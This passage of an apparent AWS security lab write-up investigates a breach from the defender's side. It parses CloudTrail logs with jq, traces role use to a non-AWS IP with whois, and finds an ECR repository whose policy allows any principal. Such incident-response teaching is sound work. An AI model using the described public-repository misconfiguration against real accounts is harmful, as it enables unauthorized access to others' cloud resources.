        "CreateDate": "2018-11-23T17:55:27Z",
        "AssumeRolePolicyDocument": {
            "Version": "2012-10-17",
            "Statement": [
                {
                    "Sid": "",
                    "Effect": "Allow",
                    "Principal": {
                        "Service": "ecs-tasks.amazonaws.com"
                    },
                    "Action": "sts:AssumeRole"
                }
            ]
        },
        "Description": "Allows ECS tasks to call AWS services on your behalf.",
        "MaxSessionDuration": 3600,
        "RoleLastUsed": {
            "LastUsedDate": "2025-01-23T13:34:42Z",
            "Region": "us-east-1"
        }
    }
}
```

This indicates the `level3` role is only supposed to be run by the AWS ECS service. However, if we check the previously disclosed IP, we find this address does not belong to the AWS IP range.

```bash
> whois 104.102.221.250
 
#
# ARIN WHOIS data and services are subject to the Terms of Use
# available at: https://www.arin.net/resources/registry/whois/tou/
#
# If you see inaccuracies in the results, please report at
# https://www.arin.net/resources/registry/whois/inaccuracy_reporting/
#
# Copyright 1997-2025, American Registry for Internet Numbers, Ltd.
#
 
NetRange:       104.64.0.0 - 104.127.255.255
CIDR:           104.64.0.0/10
NetName:        AKAMAI
NetHandle:      NET-104-64-0-0-1
Parent:         NET104 (NET-104-0-0-0-0)
NetType:        Direct Allocation
OriginAS:      
Organization:   Akamai Technologies, Inc. (AKAMAI)
RegDate:        2014-04-22
Updated:        2014-04-22
Ref:            https://rdap.arin.net/registry/ip/104.64.0.0
 
OrgName:        Akamai Technologies, Inc.
OrgId:          AKAMAI
Address:        145 Broadway
City:           Cambridge
StateProv:      MA
PostalCode:     02142
Country:        US
RegDate:        1999-01-21
Updated:        2023-10-24
Ref:            https://rdap.arin.net/registry/entity/AKAMAI
 
OrgTechHandle: SJS98-ARIN
OrgTechName:   Schecter, Steven Jay
OrgTechPhone:  +1-617-274-7134
OrgTechEmail:  ip-admin@akamai.com
OrgTechRef:    https://rdap.arin.net/registry/entity/SJS98-ARIN
 
OrgAbuseHandle: NUS-ARIN
OrgAbuseName:   NOC United States
OrgAbusePhone:  +1-617-444-2535
OrgAbuseEmail:  abuse@akamai.com
OrgAbuseRef:    https://rdap.arin.net/registry/entity/NUS-ARIN
 
OrgTechHandle: IPADM11-ARIN
OrgTechName:   ipadmin
OrgTechPhone:  +1-617-444-0017
OrgTechEmail:  ip-admin@akamai.com
OrgTechRef:    https://rdap.arin.net/registry/entity/IPADM11-ARIN
 
#
# ARIN WHOIS data and services are subject to the Terms of Use
# available at: https://www.arin.net/resources/registry/whois/tou/
#
# If you see inaccuracies in the results, please report at
# https://www.arin.net/resources/registry/whois/inaccuracy_reporting/
#
# Copyright 1997-2025, American Registry for Internet Numbers, Ltd.
```

So we conclude someone from outside has been able to list the buckets, since the access was made from a non-AWS IP address. Next step will be to determine how this access was possible (maybe because of a misconfigured open resource).

### OBJECTIVE 5: IDENTIFY THE PUBLIC RESOURCE

Now we are challenged to identify the public resource that has been abused to initiate the attack.

First we enumerate all events recorded and we see the attacker called *ListImages* and *GetDownloadUrlForLayer*.

```bash
> cat *.json | jq '.Records[]|.eventName'
"AssumeRole"
"AssumeRole"
"CreateLogStream"
"GetObject"
"GetObject"
"GetObject"
"Invoke"
"CreateLogStream"
"AssumeRole"
"CreateLogStream"
"CreateLogStream"
"ListImages"
"CreateLogStream"
"BatchGetImage"
"GetDownloadUrlForLayer"
"GetObject"
"GetObject"
"GetObject"
"GetObject"
"GetObject"
"GetObject"
"GetObject"
"GetObject"
"GetObject"
"Invoke"
"GetObject"
"GetObject"
"GetObject"
"ListObjects"
"GetObject"
"GetObject"
"GetObject"
"GetObject"
"GetObject"
"ListBuckets"
"GetObject"
"GetObject"
```

If we analyze the *ListImages* event we see the repository accessed was `level2`

```bash
> cat *.json | jq '.Records[]|select(.eventName=="ListImages")'
{
  "eventVersion": "1.04",
  "userIdentity": {
    "type": "AssumedRole",
    "principalId": "AROAIBATWWYQXZTTALNCE:level1",
    "arn": "arn:aws:sts::653711331788:assumed-role/level1/level1",
    "accountId": "653711331788",
    "accessKeyId": "ASIAZQNB3KHGIGYQXVVG",
    "sessionContext": {
      "attributes": {
        "mfaAuthenticated": "false",
        "creationDate": "2018-11-28T23:03:12Z"
      },
      "sessionIssuer": {
        "type": "Role",
        "principalId": "AROAIBATWWYQXZTTALNCE",
        "arn": "arn:aws:iam::653711331788:role/service-role/level1",
        "accountId": "653711331788",
        "userName": "level1"
      }
    }
  },
  "eventTime": "2018-11-28T23:05:53Z",
  "eventSource": "ecr.amazonaws.com",
  "eventName": "ListImages",
  "awsRegion": "us-east-1",
  "sourceIPAddress": "104.102.221.250",
  "userAgent": "aws-cli/1.16.19 Python/2.7.10 Darwin/17.7.0 botocore/1.12.9",
  "requestParameters": {
    "repositoryName": "level2",
    "registryId": "653711331788"
  },
  "responseElements": null,
  "requestID": "2780d808-f362-11e8-b13e-dbd4ed9d7936",
  "eventID": "eb0fa4a0-580f-4270-bd37-7e45dfb217aa",
  "resources": [
    {
      "ARN": "arn:aws:ecr:us-east-1:653711331788:repository/level2",
      "accountId": "653711331788"
    }
  ],
  "eventType": "AwsApiCall",
  "recipientAccountId": "653711331788"
}
```

Let's see the policy applicable to this repository.

```bash
> aws --profile target_security ecr get-repository-policy --repository-name level2 | jq '.policyText | fromjson'
{
  "Version": "2008-10-17",
  "Statement": [
    {
      "Sid": "AccessControl",
      "Effect": "Allow",
      "Principal": "*",
      "Action": [
        "ecr:GetDownloadUrlForLayer",
        "ecr:BatchGetImage",
        "ecr:BatchCheckLayerAvailability",
        "ecr:ListImages",
        "ecr:DescribeImages"
      ]
    }
  ]
}
```

The principal is set to \*, therefore the repository is public for anyone requesting the indicated actions.

<figure><img src="https://40029037-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FgnmqvnYiL2MhB6XLITXw%2Fuploads%2FW1k5pfpM9OUbEUtvECnr%2FUntitled15.png?alt=media&#x26;token=7da3c7d2-c18f-4d11-9909-ad978a94cd3b" alt=""><figcaption></figcaption></figure>

So this is the vulnerability exploited by attackers: a overly permissive public policy on the repository.

### OBJECTIVE 6: USE ATHENA

In this challenge the author describes how to enumerate the logs using an alternative tool called Athena. This tool is available in the AWS console and is useful for querying the logs. To complete the challenge you will need to use your own AWS account.
